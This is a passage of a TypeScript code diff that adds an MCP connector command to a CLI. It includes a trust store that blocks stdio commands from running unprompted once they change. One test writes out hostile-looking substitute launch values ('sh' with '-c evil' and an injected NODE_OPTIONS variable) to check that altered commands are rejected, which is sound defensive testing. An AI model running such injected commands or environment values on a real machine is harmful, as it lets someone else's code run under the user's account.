from `--name`, then the URL host or stdio command. */+export function deriveIdentifier(options: Pick<ConnectorAddOptions, 'name' | 'stdioCmd' | 'url'>) {+ if (options.name) {+ const fromName = slugify(options.name);+ if (fromName) return fromName;+ }++ if (options.url) {+ try {+ const host = new URL(options.url).hostname.replace(/^(www|mcp)\./, '');+ const fromUrl = slugify(host);+ if (fromUrl) return fromUrl;+ } catch {+ // Invalid URLs are rejected by buildCreateInput.+ }+ }++ if (options.stdioCmd) {+ const fromCmd = slugify(options.stdioCmd.split(/[/\\]/).pop() || '');+ if (fromCmd) return fromCmd;+ }++ return undefined;+}++/**+ * Turn `lh connector add` flags into a `connector.create` input. Field shapes+ * follow `createConnectorSchema` and the web custom-connector form: a bearer+ * token goes in `credentials`, custom headers in `metadata.customHeaders`, and+ * OAuth2 writes no credentials (the OAuth callback stores the tokens).+ */+export function buildCreateInput(options: ConnectorAddOptions): {+ authType: ConnectorAuthType;+ input: CreateConnectorInput;+} {+ if (options.url && options.stdioCmd) {+ throw new Error('Use either --url or --stdio-cmd, not both.');+ }+ if (!options.url && !options.stdioCmd) {+ throw new Error('Provide --url <mcp url> or --stdio-cmd <command>.');+ }++ const authType = (options.auth ?? (options.token ? 'bearer' : 'none')) as ConnectorAuthType;+ if (!AUTH_TYPES.includes(authType)) {+ throw new Error(`Invalid --auth "${options.auth}". Expected one of: ${AUTH_TYPES.join(', ')}.`);+ }+ if (authType === 'bearer' && !options.token) {+ throw new Error('--auth bearer requires --token <token>.');+ }+ if (authType !== 'bearer' && options.token) {+ throw new Error('--token is only valid with --auth bearer.');+ }+ if (options.stdioCmd && authType !== 'none') {+ throw new Error('stdio connectors do not support --auth; pass secrets via the command.');+ }+ if (options.stdioCmd && options.header?.length) {+ throw new Error('--header is only valid for HTTP connectors (--url).');+ }+ if (options.url) {+ try {+ new URL(options.url);+ } catch {+ throw new Error(`Invalid --url "${options.url}".`);+ }+ }++ const identifier = options.identifier || deriveIdentifier(options);+ if (!identifier) {+ throw new Error('Could not derive an identifier. Pass --identifier <id>.');+ }+ if (!IDENTIFIER_RE.test(identifier)) {+ throw new Error(`Invalid --identifier "${identifier}". Use letters, digits, "_" and "-" only.`);+ }++ const headers = parseHeaders(options.header);++ const input: CreateConnectorInput = {+ identifier,+ name: options.name || identifier,+ sourceType: 'custom',+ ...(options.url+ ? { mcpConnectionType: 'http' as const, mcpServerUrl: options.url }+ : {+ mcpConnectionType: 'stdio' as const,+ mcpStdioConfig: { args: options.stdioArg ?? [], command: options.stdioCmd! },+ }),+ ...(authType === 'bearer' && { credentials: { token: options.token!, type: 'bearer' } }),+ ...(headers && { metadata: { customHeaders: headers } }),+ };++ return { authType, input };+}++/** Resolve a connector uuid or identifier to its uuid via `connector.list`. */+export async function resolveConnectorId(client: TrpcClient, idOrIdentifier: string) {+ if (UUID_RE.test(idOrIdentifier)) return idOrIdentifier;++ const connectors = await client.connector.list.query();+ const matches = connectors.filter((c: any) => c.identifier === idOrIdentifier);++ if (matches.length === 0) throw new Error(`Connector "${idOrIdentifier}" not found.`);+ if (matches.length > 1) {+ throw new Error(+ `Multiple connectors match "${idOrIdentifier}": ${matches.map((c: any) => c.id).join(', ')}. Pass the id instead.`,+ );+ }+ return matches[0].id as string;+}++/**+ * Whether tools must be listed from the CLI host: stdio servers run on this+ * machine and local/private-network URLs are unreachable from a hosted server,+ * so the server-side `syncTools` would fail for both (same split as the desktop+ * app's `syncConnectorTools`).+ */+export function isMachineLocalConnector(connector: ConnectorEndpoint): boolean {+ if (connector.mcpConnectionType === 'stdio') return true;+ return !!connector.mcpServerUrl && isLocalOrPrivateUrl(connector.mcpServerUrl);+}++/** Build local MCP connection params from `connector.getForEdit`, mirroring the desktop app. */+export function buildLocalMcpParams(detail: ConnectorDetail): LocalMcpParams {+ if (detail.mcpConnectionType === 'stdio') {+ if (!detail.mcpStdioConfig?.command) throw new Error('Connector is missing stdio config.');+ return {+ args: detail.mcpStdioConfig.args ?? [],+ command: detail.mcpStdioConfig.command,+ env: detail.mcpStdioConfig.env ?? undefined,+ type: 'stdio',+ };+ }++ if (!detail.mcpServerUrl) throw new Error('Connector is missing an MCP server URL.');++ // Custom headers live in metadata.customHeaders; legacy rows stored them as+ // a 'header' credential β merge both, like the server-side sync.+ const credentials = detail.credentials as+ | { apiKey: string; type: 'apikey' }+ | { headers: Record<string, string>; type: 'header' }+ | { token: string; type: 'bearer' }+ | null+ | undefined;+ const customHeaders = (detail.metadata as Record<string, unknown> | null | undefined)+ ?.customHeaders as Record<string, string> | undefined;+ const headers: Record<string, string> = {+ ...(credentials?.type === 'header' ? credentials.headers : undefined),+ ...customHeaders,+ };+ const token =+ credentials?.type === 'bearer'+ ? credentials.token+ : credentials?.type === 'apikey'+ ? credentials.apiKey+ : undefined;+ if (token) headers.Authorization = `Bearer ${token}`;++ return {+ headers: Object.keys(headers).length > 0 ? headers : undefined,+ type: 'http',+ url: detail.mcpServerUrl,+ };+}++/**+ * Gate before launching a stored stdio command on this machine. Throws to+ * stop the launch.+ */+export type ConfirmLocalCommand = (+ detail: ConnectorDetail,+ params: Extract<LocalMcpParams, { type: 'stdio' }>,+) => Promise<void>;++/** Render a stdio launch as a shell-quoted argv the user can inspect. */+export function formatStdioCommand(params: { args?: string[]; command: string }): string {+ const quote = (value: string) =>+ /^[\w./:=@%+-]+$/.test(value) ? value : `'${value.replaceAll("'", `'\\''`)}'`;+ return [params.command, ...(params.args ?? [])].map(quote).join(' ');+}++const stdioTrustKey = (id: string) => `${resolveServerUrl()}#${id}`;++/**+ * `confirmLocalCommand` for `add`: record the launch as approved on this+ * machine only when the stored config is exactly what the user typed. If it+ * changed between `create` and the read-back (a concurrent overwrite), fall+ * back to showing it and asking, like `refresh`.+ */+export const trustTypedStdioCommand =+ (typed: StdioLaunch | undefined): ConfirmLocalCommand =>+ async (detail, params) => {+ if (typed && hashStdioLaunch(typed) === hashStdioLaunch(params)) {+ trustStdioLaunch(stdioTrustKey(detail.id), params);+ return;+ }+ await confirmSharedStdioCommand(detail, params);+ };++/**+ * `confirmLocalCommand` for `refresh`: a workspace stdio connector can be+ * stored or overwritten by another member, and refreshing it executes that+ * command as the local OS user. Run it unprompted only when this exact+ * command/argv/env was approved on this machine; otherwise show it and+ * require an interactive yes. The row's creator is not evidence β an+ * overwrite keeps `userId` while replacing the command.+ */+export const confirmSharedStdioCommand: ConfirmLocalCommand = async (detail, params) => {+ const key = stdioTrustKey(detail.id);+ if (isStdioLaunchTrusted(key, params)) return;++ const envKeys = Object.keys(params.env ?? {});+ const summary = [+ "This stdio connector's command has not been approved on this machine (it is new here, or someone changed it). Refreshing it runs:",+ ` ${formatStdioCommand(params)}`,+ ...(envKeys.length > 0 ? [` with env: ${envKeys.join(', ')}`] : []),+ ].join('\n');++ if (!process.stdin.isTTY) {+ throw new Error(`${summary}\nRefusing to run it without an interactive confirmation.`);+ }+ console.error(summary);+ if (!(await confirm('Run this command?'))) {+ throw new Error('Cancelled: the stdio command was not run.');+ }+ trustStdioLaunch(key, params);+};++/**+ * Refresh a connector's tools. Server-reachable connectors use+ * `connector.syncTools`; machine-local ones are listed on this machine and+ * reported through `connector.syncToolsFromClientById`.+ */+export async function syncConnectorTools(+ client: TrpcClient,+ id: string,+ connector: ConnectorEndpoint,+ options: { confirmLocalCommand?: ConfirmLocalCommand } = {},+): Promise<{ local: boolean; toolCount: number }> {+ if (!isMachineLocalConnector(connector)) {+ const { toolCount } = await client.connector.syncTools.mutate({ id });+ return { local: false, toolCount };+ }++ const detail = await client.connector.getForEdit.query({ id });+ const params = buildLocalMcpParams(detail);+ if (params.type === 'stdio') await options.confirmLocalCommand?.(detail, params);++ let tools: Awaited<ReturnType<typeof listLocalMcpTools>>;+ try {+ tools = await listLocalMcpTools(params);+ } catch (error) {+ throw new Error(+ `Could not list tools from the MCP server on this machine: ${(error as Error)?.message ?? String(error)}`,+ { cause: error },+ );+ }+ const { toolCount } = await client.connector.syncToolsFromClientById.mutate({ id, tools });+ return { local: true, toolCount };+}++/** Resolve a connector uuid or identifier to its `connector.list` row. */+export async function resolveConnector(client: TrpcClient, idOrIdentifier: string) {+ const connectors = await client.connector.list.query();+ if (UUID_RE.test(idOrIdentifier)) {+ const match = connectors.find((c: any) => c.id === idOrIdentifier);+ if (!match) throw new Error(`Connector "${idOrIdentifier}" not found.`);+ return match;+ }++ const matches = connectors.filter((c: any) => c.identifier === idOrIdentifier);+ if (matches.length === 0) throw new Error(`Connector "${idOrIdentifier}" not found.`);+ if (matches.length > 1) {+ throw new Error(+ `Multiple connectors match "${idOrIdentifier}": ${matches.map((c: any) => c.id).join(', ')}. Pass the id instead.`,+ );+ }+ return matches[0];+}++function fail(error: unknown, note?: string): never {+ log.error((error as Error)?.message ?? String(error));+ if (note) log.error(note);+ process.exit(1);+}++export function registerConnectorCommand(program: Command) {+ const connector = program+ .command('connector')+ .description('Manage MCP connectors (user connectors and their synced tools)');++ // ββ list ββββββββββββββββββββββββββββββββββββββββββββββ++ connector+ .command('list')+ .description('List connectors')+ .option('--json [fields]', 'Output JSON, optionally specify fields (comma-separated)')+ .action(async (options: { json?: string | boolean }) => {+ const client = await getTrpcClient();+ const result = await client.connector.list.query();+ const items = (Array.isArray(result) ? result : []).map((c: any) => ({+ ...c,+ toolCount: Array.isArray(c.tools) ? c.tools.length : 0,+ }));++ if (options.json !== undefined) {+ const fields = typeof options.json === 'string' ? options.json : undefined;+ outputJson(items, fields);+ return;+ }++ if (items.length === 0) {+ console.log('No connectors found.');+ return;+ }++ const rows = items.map((c: any) => [+ c.id || '',+ truncate(c.identifier || '', 30),+ truncate(c.name || '', 30),+ c.sourceType || '',+ c.status === 'connected' ? pc.green(c.status) : c.status || '',+ String(c.toolCount),+ ]);++ printTable(rows, ['ID', 'IDENTIFIER', 'NAME', 'SOURCE', 'STATUS', 'TOOLS']);+ });++ // ββ add βββββββββββββββββββββββββββββββββββββββββββββββ++ connector+ .command('add')+ .description('Add a custom MCP connector and sync its tools')+ .option('--url <url>', 'MCP server URL (streamable HTTP / SSE)')+ .option('--name <name>', 'Display name (defaults to the identifier)')+ .option('--identifier <id>', 'Connector identifier (derived from --name or --url if omitted)')+ .option('--auth <type>', 'Auth type: none, bearer or oauth2')+ .option('--token <token>', 'Bearer token (with --auth bearer)')+ .option('--header <key:value>', 'Custom request header (repeatable)', collect, [])+ .option('--stdio-cmd <command>', 'stdio MCP server command')+ .option('--stdio-arg <arg>', 'stdio MCP server argument (repeatable)', collect, [])+ .option('--force', 'Overwrite an existing connector with the same identifier')+ .option('--json [fields]', 'Output JSON, optionally specify fields (comma-separated)')+ .action(async (options: ConnectorAddOptions) => {+ let built: ReturnType<typeof buildCreateInput>;+ try {+ built = buildCreateInput(options);+ } catch (error) {+ fail(error);+ }+ const { authType, input } = built;++ const client = await getTrpcClient();++ // `connector.create` upserts on identifier: re-adding replaces the existing+ // row's server, credentials and metadata, so require an explicit --force.+ if (!options.force) {+ const existing = await client.connector.list.query();+ if (existing.some((c: any) => c.identifier === input.identifier)) {+ fail(+ new Error(+ `Connector "${input.identifier}" already exists. Pass --identifier <id> to add another, or --force to overwrite it.`,+ ),+ );+ }+ }++ const { id, isNew } = await client.connector.create.mutate(input);++ // Never leave a freshly created connector behind when setup fails (mirrors+ // the web form), but keep a row the user already had. If the cleanup+ // itself fails, say so: the leftover row blocks a retry as a duplicate.+ const rollback = async (): Promise<string | undefined> => {+ if (!isNew) return;+ try {+ await client.connector.delete.mutate({ id });+ } catch (cleanupError) {+ return `Rollback failed: connector ${input.identifier} (${id}) was created but could not be removed (${(cleanupError as Error)?.message ?? String(cleanupError)}). Remove it with: lh connector remove ${id} --yes`;+ }+ };++ if (authType === 'oauth2') {+ let authorizationUrl: string;+ try {+ ({ authorizationUrl } = await client.connector.startOAuth.mutate({ id }));+ } catch (error) {+ fail(error, await rollback());+ }+ if (options.json !== undefined) {+ const fields = typeof options.json === 'string' ? options.json : undefined;+ outputJson(+ { authorizationUrl, id, identifier: input.identifier, isNew, status: 'pending_oauth' },+ fields,+ );+ return;+ }+ console.log(+ `${pc.green('β')} Created connector ${pc.bold(input.identifier)} ${pc.dim(`(${id})`)}`,+ );+ console.log('Open this URL in your browser to authorize:');+ console.log(authorizationUrl);+ console.log(+ pc.dim(+ `After authorizing, run: lh connector refresh ${input.identifier} to fetch tools.`,+ ),+ );+ return;+ }++ let synced: { local: boolean; toolCount: number };+ try {+ synced = await syncConnectorTools(client, id, input, {+ confirmLocalCommand: trustTypedStdioCommand(input.mcpStdioConfig ?? undefined),+ });+ } catch (error) {+ fail(error, await rollback());+ }+ const { local, toolCount } = synced;++ if (options.json !== undefined) {+ const fields = typeof options.json === 'string' ? options.json : undefined;+ outputJson({ id, identifier: input.identifier, isNew, local, toolCount }, fields);+ return;+ }++ console.log(+ `${pc.green('β')} ${isNew ? 'Added' : 'Updated'} connector ${pc.bold(input.identifier)} ${pc.dim(`(${id})`)} with ${toolCount} tool(s)${local ? pc.dim(' (synced from this machine)') : ''}`,+ );+ });++ // ββ refresh βββββββββββββββββββββββββββββββββββββββββββ++ connector+ .command('refresh <idOrIdentifier>')+ .alias('sync')+ .description('Refresh OAuth tokens and re-fetch the tool list from the MCP server')+ .option('--json [fields]', 'Output JSON, optionally specify fields (comma-separated)')+ .action(async (idOrIdentifier: string, options: { json?: string | boolean }) => {+ const client = await getTrpcClient();+ let synced: { local: boolean; toolCount: number };+ let id: string;+ try {+ const target = await resolveConnector(client, idOrIdentifier);+ id = target.id;+ synced = await syncConnectorTools(client, id, target, {+ confirmLocalCommand: confirmSharedStdioCommand,+ });+ } catch (error) {+ fail(error);+ }+ const { local, toolCount } = synced;++ if (options.json !== undefined) {+ const fields = typeof options.json === 'string' ? options.json : undefined;+ outputJson({ id, local, toolCount }, fields);+ return;+ }++ console.log(+ `${pc.green('β')} Refreshed ${pc.bold(idOrIdentifier)}: ${toolCount} tool(s)${local ? pc.dim(' (synced from this machine)') : ''}`,+ );+ });++ // ββ remove ββββββββββββββββββββββββββββββββββββββββββββ++ connector+ .command('remove <idOrIdentifier>')+ .description('Remove a connector')+ .option('--yes', 'Skip confirmation prompt')+ .action(async (idOrIdentifier: string, options: { yes?: boolean }) => {+ const client = await getTrpcClient();+ let id: string;+ try {+ id = await resolveConnectorId(client, idOrIdentifier);+ } catch (error) {+ fail(error);+ }++ if (!options.yes) {+ const confirmed = await confirm(`Remove connector ${idOrIdentifier}?`);+ if (!confirmed) {+ console.log('Cancelled.');+ return;+ }+ }++ await client.connector.delete.mutate({ id });+ console.log(`${pc.green('β')} Removed connector ${pc.bold(idOrIdentifier)}`);+ });+}diff --git a/apps/cli/src/program.ts b/apps/cli/src/program.tsindex a00bc975650..7cbc53782ad 100644--- a/apps/cli/src/program.ts+++ b/apps/cli/src/program.ts@@ -11,6 +11,7 @@ import { registerChannelCommand } from './commands/channel';import { registerCompletionCommand } from './commands/completion';import { registerConfigCommand } from './commands/config';import { registerConnectCommand } from './commands/connect';+import { registerConnectorCommand } from './commands/connector';import { registerDashboardCommand } from './commands/dashboard';import { registerDeviceCommand } from './commands/device';import { registerDocCommand } from './commands/doc';@@ -119,6 +120,7 @@ export function createProgram() {registerDashboardCommand(program);registerWidgetCommand(program);registerPluginCommand(program);+ registerConnectorCommand(program);registerWorkspaceCommand(program);registerUserCommand(program);registerVerifyCommand(program);diff --git a/apps/cli/src/utils/localMcp.test.ts b/apps/cli/src/utils/localMcp.test.tsnew file mode 100644index 00000000000..1ccf141766d--- /dev/null+++ b/apps/cli/src/utils/localMcp.test.ts@@ -0,0 +1,32 @@+import { describe, expect, it, vi } from 'vitest';++import { listLocalMcpTools } from './localMcp';++const { mockListTools } = vi.hoisted(() => ({ mockListTools: vi.fn() }));++vi.mock('@modelcontextprotocol/client', () => ({+ Client: class {+ close = vi.fn().mockResolvedValue(undefined);+ connect = vi.fn().mockResolvedValue(undefined);+ listTools = mockListTools;+ },+ StreamableHTTPClientTransport: class {},+}));++describe('listLocalMcpTools', () => {+ it("forwards each tool's declared _meta.ui.visibility", async () => {+ mockListTools.mockResolvedValue({+ tools: [+ { _meta: { ui: { visibility: ['app'] } }, inputSchema: { type: 'object' }, name: 'view' },+ { description: 'Echo', name: 'echo' },+ ],+ });++ const tools = await listLocalMcpTools({ type: 'http', url: 'http://127.0.0.1:9000/mcp' });++ expect(tools).toEqual([+ { inputSchema: { type: 'object' }, toolName: 'view', visibility: ['app'] },+ { description: 'Echo', toolName: 'echo', visibility: undefined },+ ]);+ });+});diff --git a/apps/cli/src/utils/localMcp.ts b/apps/cli/src/utils/localMcp.tsnew file mode 100644index 00000000000..e43553c36a9--- /dev/null+++ b/apps/cli/src/utils/localMcp.ts@@ -0,0 +1,76 @@+import { getMcpToolVisibility } from '@lobechat/const/mcpApp';++export interface LocalMcpTool {+ description?: string;+ inputSchema?: Record<string, unknown>;+ toolName: string;+ /** The tool's MCP Apps `_meta.ui.visibility`, when it declares one. */+ visibility?: string[];+}++export type LocalMcpParams =+ | { headers?: Record<string, string>; type: 'http'; url: string }+ | { args?: string[]; command: string; env?: Record<string, string>; type: 'stdio' };++const STDERR_TAIL_LINES = 10;++/**+ * Connect to an MCP server from the CLI host and list its tools. Used for+ * connectors the LobeHub server cannot reach itself (stdio binaries on this+ * machine, local/private-network HTTP endpoints) β the CLI counterpart of the+ * desktop app's local manifest fetch.+ */+export async function listLocalMcpTools(params: LocalMcpParams): Promise<LocalMcpTool[]> {+ // Lazy-load the SDK so other `lh` commands do not pay for it at startup.+ const { Client, StreamableHTTPClientTransport } = await import('@modelcontextprotocol/client');++ const client = new Client(+ { name: 'lobehub-cli-mcp-client', version: '1.0.0' },+ {+ inputRequired: { autoFulfill: false },+ versionNegotiation: { mode: params.type === 'http' ? 'auto' : 'legacy' },+ },+ );++ const stderr: string[] = [];+ let transport;+ if (params.type === 'http') {+ transport = new StreamableHTTPClientTransport(new URL(params.url), {+ requestInit: { headers: params.headers },+ });+ } else {+ const { getDefaultEnvironment, StdioClientTransport } =+ await import('@modelcontextprotocol/client/stdio');+ const stdio = new StdioClientTransport({+ args: params.args,+ command: params.command,+ env: { ...getDefaultEnvironment(), ...params.env },+ stderr: 'pipe',+ });+ stdio.stderr?.on('data', (chunk: Buffer) => {+ stderr.push(...chunk.toString('utf8').split('\n').filter(Boolean));+ if (stderr.length > STDERR_TAIL_LINES) stderr.splice(0, stderr.length - STDERR_TAIL_LINES);+ });+ transport = stdio;+ }++ try {+ await client.connect(transport);+ const { tools } = await client.listTools();+ return tools.map((tool) => ({+ description: tool.description,+ inputSchema: tool.inputSchema as Record<string, unknown> | undefined,+ toolName: tool.name,+ // `syncToolsFromClientById` stores a missing visibility as null, which+ // would make a view-only (`['app']`) tool model-visible.+ visibility: getMcpToolVisibility(tool._meta),+ }));+ } catch (error) {+ const message = (error as Error)?.message ?? String(error);+ throw new Error(stderr.length > 0 ? `${message}\n${stderr.join('\n')}` : message, {+ cause: error,+ });+ } finally {+ await client.close().catch(() => {});+ }+}diff --git a/apps/cli/src/utils/stdioTrust.test.ts b/apps/cli/src/utils/stdioTrust.test.tsnew file mode 100644index 00000000000..02f0ba7f336--- /dev/null+++ b/apps/cli/src/utils/stdioTrust.test.ts@@ -0,0 +1,48 @@+import fs from 'node:fs';+import os from 'node:os';+import path from 'node:path';++import { afterEach, describe, expect, it, vi } from 'vitest';++import { hashStdioLaunch, isStdioLaunchTrusted, trustStdioLaunch } from './stdioTrust';++const tmpHome = path.join(os.tmpdir(), 'lobehub-cli-test-stdio-trust');++vi.mock('node:os', async (importOriginal) => {+ const actual = await importOriginal<Record<string, any>>();+ return {+ ...actual,+ default: {+ ...actual.default,+ homedir: () => path.join(actual.default.tmpdir(), 'lobehub-cli-test-stdio-trust'),+ },+ };+});++describe('stdioTrust', () => {+ afterEach(() => {+ fs.rmSync(tmpHome, { force: true, recursive: true });+ });++ const launch = { args: ['-y', 'srv'], command: 'npx', env: { A: '1' } };++ it('trusts only the exact command, argv and env that were approved', () => {+ expect(isStdioLaunchTrusted('s#1', launch)).toBe(false);++ trustStdioLaunch('s#1', launch);++ expect(isStdioLaunchTrusted('s#1', launch)).toBe(true);+ expect(isStdioLaunchTrusted('s#2', launch)).toBe(false);+ expect(isStdioLaunchTrusted('s#1', { ...launch, command: 'sh' })).toBe(false);+ expect(isStdioLaunchTrusted('s#1', { ...launch, args: ['-c', 'evil'] })).toBe(false);+ expect(isStdioLaunchTrusted('s#1', { ...launch, env: { A: '1', NODE_OPTIONS: 'x' } })).toBe(+ false,+ );+ });++ it('ignores env key order', () => {+ expect(hashStdioLaunch({ command: 'x', env: { A: '1', B: '2' } })).toBe(+ hashStdioLaunch({ command: 'x', env: { B: '2', A: '1' } }),+ );+ });+});diff --git a/apps/cli/src/utils/stdioTrust.ts b/apps/cli/src/utils/stdioTrust.tsnew file mode 100644index 00000000000..4a2701c460c--- /dev/null+++ b/apps/cli/src/utils/stdioTrust.ts@@ -0,0 +1,49 @@+import { createHash } from 'node:crypto';+import fs from 'node:fs';+import os from 'node:os';+import path from 'node:path';++import { resolveCliDirName } from '../constants/identity';++export interface StdioLaunch {+ args?: string[];+ command: string;+ env?: Record<string, string>;+}++/**+ * stdio launches the user approved on this machine, keyed by server + connector+ * id. The connector row's creator says nothing about who wrote its current+ * command β a workspace owner can overwrite it (`add --force`, web edit) while+ * `userId` stays put β so only a launch approved here may run unprompted.+ */+const trustFile = () => path.join(os.homedir(), resolveCliDirName(), 'trusted-stdio-commands.json');++/** Digest of everything that decides what runs: command, argv and env. */+export function hashStdioLaunch(launch: StdioLaunch): string {+ const env = Object.entries(launch.env ?? {}).sort(([a], [b]) => a.localeCompare(b));+ return createHash('sha256')+ .update(JSON.stringify([launch.command, launch.args ?? [], env]))+ .digest('hex');+}++function load(): Record<string, string> {+ try {+ const parsed = JSON.parse(fs.readFileSync(trustFile(), 'utf8'));+ return parsed && typeof parsed === 'object' ? parsed : {};+ } catch {+ return {};+ }+}++export function isStdioLaunchTrusted(key: string, launch: StdioLaunch): boolean {+ return load()[key] === hashStdioLaunch(launch);+}++export function trustStdioLaunch(key: string, launch: StdioLaunch): void {+ const file = trustFile();+ fs.mkdirSync(path.dirname(file), { mode: 0o700, recursive: true });+ fs.writeFileSync(file, JSON.stringify({ ...load(), [key]: hashStdioLaunch(launch) }, null, 2), {+ mode: 0o600,+ });+}diff --git a/apps/desktop/pnpm-lock.yaml b/apps/desktop/pnpm-lock.yamlindex 865d66388d6..0653b6aa487 100644--- a/apps/desktop/pnpm-lock.yaml+++ b/apps/desktop/pnpm-lock.yaml@@ -858,6 +858,9 @@ importers:'@lobechat/utils':specifier: workspace:*version: link:../../packages/utils+ '@modelcontextprotocol/client':+ specifier: ~2.4.0+ version: 2.4.0'@trpc/client':specifier: ^11.18.0